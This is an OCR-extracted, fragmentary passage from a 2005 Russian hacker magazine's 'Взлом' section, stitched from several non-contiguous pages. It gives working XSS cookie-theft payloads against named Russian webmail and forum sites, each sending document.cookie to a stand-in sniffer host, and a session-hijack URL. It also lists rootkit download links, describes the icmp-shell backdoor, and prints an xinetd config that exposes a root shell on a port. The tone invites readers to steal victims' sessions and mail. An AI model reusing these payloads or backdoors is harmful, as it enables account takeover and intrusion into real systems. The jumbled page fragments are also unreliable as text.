книги хакеры / журнал хакер / 084_Optimized

FERRUM

PC_ZONE

ИМПЛАНТ

[ВЗЛОМ]

СЦЕНА

UNIXOID

КОДИНГ

КРЕАТИФФ

ЮНИТЫ

[soblazn.tv] Ты, наверное, знаешь о том, что канал REN-TV после смены владельца начал активно осваивать перспективный рынок реа- лити-шоу. Недавно вот запустили проект с названием «Остров Искушений» и сделали для проекта сайт — www.soblazn.tv. Как и следовало бы ожидать, куча разнообразных девочек и мальчиков с упоением смотрят за чужой заэкранной жизнью и сценарийными отношениями, а сайт этого проекта кроет в себе опасный баг, с помощью которого можно здорово повеселиться.

Вернее, не сайт, а форум.

Если зайти на главную страницу этого раздела, то ты увидишь длинную ботву о копирайтах, а еще ниже — строку «Этот форум работает на скрипте Intellect Board 2.13» и ссылку на сайт форума — www.intboard.ru. Оказалось, что форум бесплатный и доступен кому угодно для скачивания. То, что доктор прописал. За десять минут был найден баг, позволяющий выполнять произвольный код на стороне клиента. В файле xaphpi.php осуществлялась фильтрация всех переменных. Вот кусок бажного кода:

function &getvar($name) {

if (strpos($name,"_text")===false) {

if (isset($_GET[$name])) $tmp = stripslashes($_GET[$name]); elseif (isset($_POST[$name])) $tmp= stripslashes($_POST[$name]);

}

else {

if (isset($_GET[$name])) $tmp = htmlspecialchars(stripslashes($_GET[$name]));

elseif (isset($_POST[$name])) $tmp= htmlspecialchars(stripslashes($_POST[$name]));

}

Как видно из кода, все переменные, имеющие в названии «_text», пропускаются фильтром. А вот это интересно. Посидев за разборкой кода еще пару минут, нашел, что переменная, обозначающая тему в приветном сообщении, имеет название pm_text.

Отлично, теперь мы можем выполнить любой яваскрипт, единственное ограничение — длина темы в 80 символов. Но эти границы легко расширить, заюзав конструкцию вроде <script src="">. Так что нич- то не мешает написать админу или кровному врагу слезное сообщение, которое уведет у бедолаги сессию, выведет пять сотен окошек или зальет ему трояна через приватный баг. Все зависит от целей :).

[NewMail.ru] Четверть миллиона человек пользуются почтовым сервисом NewMail.ru, четверть миллиона пользователей и четверть миллионов сайтов вновь под угрозой. Программисты, разрабатывающие web-интерфейс этого сервиса, не отличаются сообразительностью: примерно два раза в год мы пишем о багах в этом интерфейсе :). Пользуясь случаем, хочется передать им привет и поздравить с Новым годом.

Откровенно говоря, об этих багах известно уже давным-давно. Гдето год назад, наверное, мы уже писали об этом. Суть проблемы заключается в том, что любой человек, желающий получить доступ к определенному аккаунту, может послать на соответствующее мыло html-письмо следующего содержания:

<img src="http://адрес.снифера.ру/картинка.jpg?"+document.cookie;>

Так ты прекрасно понимаешь, это покажет пользователю картинку, а его кукисы передаст в нежные руки злобного хакера. Стоит ли говорить, что такое сообщение можно зашифровать под обычный спам или, наоборот, разместить там вполне корректное содержание.

Все это было известно уже давным-давно. В чем же подгон? :) Фишка заключается в том, что после статьи в нашем журнале админы «закрыли баг»: они привязали сессию к IP. Но по неизвестной причине они сделали это только в головном скрипте, с которого начинается работа с системой. Сценарий, позволяющий работать с файлами, эти ребята решили не менять. Таким образом, обратившись к адресу вроде www4.nightmail.ru/users/myfiles.dhtml?session_id=WkQ04aPG49imqOxbJV NCXcSobh5SXXQk, становится возможным управлять сайтом пользователя, и привязка к IP в головном скрипте для этого не помеха! Причем украденная сессия живет очень долго. Я сам на практике использовал сеанс, который должен был быть завершен уже несколько часов назад.

__nikitos New Year

Egg

From

Xakep!

USERS FOR INSTRUCTIONS

ВЗЛОМ 061]

[зеноновский ru.ru] Ты, конечно же, знаешь о такой почтовой службе, как Ru.ru. Как тебе известно, этот сервис поддерживает провайдер Zenon, который некогда славился стабильностью и качеством своей работы. Однако ошибки есть везде, и проект зенона — не исключение. Сейчас я расскажу тебе, как я нашел баг на этом почтовике. Зарегистрировав на сервере левый ящик, я принялся экспериментировать. Зарегил себе логин и начал насиловать систему. Первым делом я решил послать на зеноновскую почту письмо с html-аттачем и вот что из этого вышло. От начального содержимого «<script>alert(/Xakep/)</script>» осталась только совсем уж безобидная строка «alert(/XSS/)</script>».

Однако когда я попробовал отправить html-письмо с несложным содержимым <img src="http://адрес.картинки.ру/картинка.jpg">, то воскликнул от радости — картинка пришла! Давным-давно известно, что браузер IE можно заставить выполнить некоторый код при отображении картинки или любого другого html-элемента. Для этого достаточно указать специальный параметр в стиле этого элемента: <img src=http://адрес.картинки.ру/картинка.jpg style=background:url(javascript:alert(/XSS/))>. Теперь мне не составило труда немного изменить код, чтобы получить доступ к юзерским кукисам:

<img src="http://адрес.картинки.ру/картинка.jpg" style=background:url(javascript: document.images[1].src="http://снифер.ru /s.jpg?"+document.cookie)>

Как только человек прочитает это письмо, ты получишь доступ к его кукисам и без проблем сможешь получить доступ к переписке своей жертвы.

[mail.rap.ru] Крутые пацаны и девчонки, которые слушают «чиста модный рэпак» теперь не спят спокойно: их почта под угрозой. Ничего особенного в этом баге нет, он как две капли воды похож на все предыдущие. Вопреки ожиданиям примитивный код <img src="javascript:alert(document.cookie)>" не прокатил, программа кое- что фильтровала. Однако выход был найден быстро. Чтобы показать пользователю его кукисы, требуется отправить на целевой e-mail html-письмо с таким вот содержанием:

<img src="http://адрес.картинки.ру/картинка.jpg" style=background:url(javascript:alert(/XSS/))>

Чтобы увести его кукисы подойдет следующий код:

<img src='javascript:img = new Image(); img.src = "http://Снифер.ru /s.jpg?"+document.cookie'; />

Или же можно воспользоваться предыдущим примером:

<img src="http://адрес.картинки.ру/картинка.jpg" style=background:url(javascript: document.images[1].src="http://снифер.ru /s.jpg?"+document.cookie)>

Еще необходимо добавить, что, получив доступ к сессии, ты можешь легко получить исходный пароль: в настройках ты можешь элементарно подсмотреть ответ на контрольный вопрос! Остается только позавидовать наивности программистов, защитивших смену контрольного вопроса и установку нового пароля старым ключом, открывшим на обозрение ответ на секретный вопрос (фактически тот же самый пароль)

[XÀÊÅÐ 12 [84] 05 >

-10), я приступил к активным действиям. В первую очередь, нужно было слить подходящий rootkit. В паблике сейчас их довольно много, но особой популярностью пользуются именно эти комплекты:

* shv4 (http://svt.nukleon.us/tools/shv4.tar.gz)

* suckit (http://packetstormsecurity.nl/UNIX/penetration/rootkits/sk-1.3a.tar.gz) * LKM adore (http://pro-hack.ru/download/rootkits/adore-0.42.tgz)

К сожалению, как и все в этом мире, xinetd хакеры могут использовать в своих грязных целях, чтобы без проблем коннектиться на машину. Это выглядит следующим образом. Взломщик выбирает название любой неиспользуемой службы из /etc/services. В этом файле установлены соответствия между именами и номерами портов для сервисов. Далее, в /etc/xinetd.d создается файл с именем выбранной службы.

В качестве такого сервиса можно выбрать irc, висящий на 194/tcp порту, —- не путай его с ircd. В /etc/xinetd.d/irc вносятся следующие записи:

kill hacker

На нашем диске ты найдешь полные версии программ, описанных в этой статье.

Небольшой архив руткитов с кратким описанием можно найти тут: http://download. pro-hack.ru/s_rootkits.html

chkvootkit:

www.chkrootkit.org

rkhunter:

www.rootkit.nl

СКРЫТАЯ УГРОЗА

ICMP-SHELL — рульная утилита, написанная Питером Киелтука (http://icmpshell.sourceforge.net). Она, по сути, является довольно оригинальным бэкдором. Принцип работы icmp-shell'a состоит в том, что запросы с командами, которые посылает хакер со своей машины, инкапсулируются в ICMP-пакеты и передаются удаленной целевой машине. Вообще, программа состоит из двух частей: клиента и сервера. Как ты, наверное, догадался, сервер запускается на похаканном хосте, а клиентская часть — на машине взломщика. Следует понимать, что обе части программы обращаются к так называем сырым сокетам (raw sockets), а поэтому для запуска нужны абсолютные привилегии. Теперь, с твоего позволения, я расскажу об этой самой инкапсуляции.

При запуске ishd (серверной части), ему нужно передать параметр -i (идентификатор сессии), это делается для того, чтобы

можно было осуществлять несколько подключений к машине. Далее, с помощью параметра -t, можно указать тип пакета ICMP, в которые будут инкапсулированы команды клиентской части приложения. Например, 8 эквивалентно эхо-запросу, уведомление о недостижимости прячется за тройкой.

По умолчанию используется эхо-ответ (0). Таким образом, ты должен запускать клиент (ish) точно с такими же параметрами, как и серверную часть. Теперь все твои команды будут инкапсулированы в ICMP-пакеты и доставлены на машину, где ishd будет обрабатывать их и создавать рабочий пайп

к шеллу (/bin/sh), затем выполнять команду и отправлять данные из пайпа обратно на твою машину. Причем стоит отметить, что интерактивные программы могут некорректно работать с icmp-shell'ом. Софтина мне очень понравилась — она незамедлительно отправилась в мой арсенал. Кто знает, может, ей посчастливится попасть и в твой? :)

ВЗЛОМ 063]

XÀÊÅÐ 12 [84] 05 >

EXIT

Вот как раз ему и уплывает инфа о системе (в коде еще можно встретить аналогичную отсылку, но только уже для uname -a и id). Но интересно даже не это. Любопытно то, что, когда этот руткит передается из рук в руки, адресок, на который высылается пароль на доступ к машине, меняется. Каждый норовит вписать в setup свое мыло, чтобы его каждый день спамили доступом к новым похаканным системам :). Чьи я только мыла там не видел! И к чему я это все сказал? А то, что нужно стараться изучить хотя бы по диагонали все незнакомое, что попало к тебе в руки. К сожалению, обмануть может кто угодно — даже чувак, с которым давно знаком. Поэтому, дружище, как говориться, доверяй, но проверяй! :)

ПРИМЕР ХАКЕРСКОГО КОНФИГА

service irc

# после ключевого слова service идет название службы

{

port = irc

#порт какой службы использовать — смотри в /etc/services socket_type = stream

#тип соединяющего сокета

wait = no

#æäåì ? -íåò ! user = root

#пользователь владелец сервера server = /usr/local/bni/bash

#имя файла, который выступает в роли сервера, — универсальный вариант "/bin/sh"

server_args = -i

#аргументы к бинарнику — у нас "/bin/sh -i"

disable = no

}

Вот так вот взломщики проникают в систему при помощи xinetd. Таким же образом можно сделать бэкдор под учетной записью обычного пользователя. Для этого нужно написать то же самое в какой-нибудь файл, спрятать его подальше, а затем под юзером выполнить:

$ `which xinetd` -f /path/to/file/backdoor.conf

После этого бэкдор будет запущен. Аргумент -f указывает, какой конфигурационный файл использовать при запуске. Разве что следует помнить — обычному юзеру порт ниже 1024 не светит, да он и не нужен.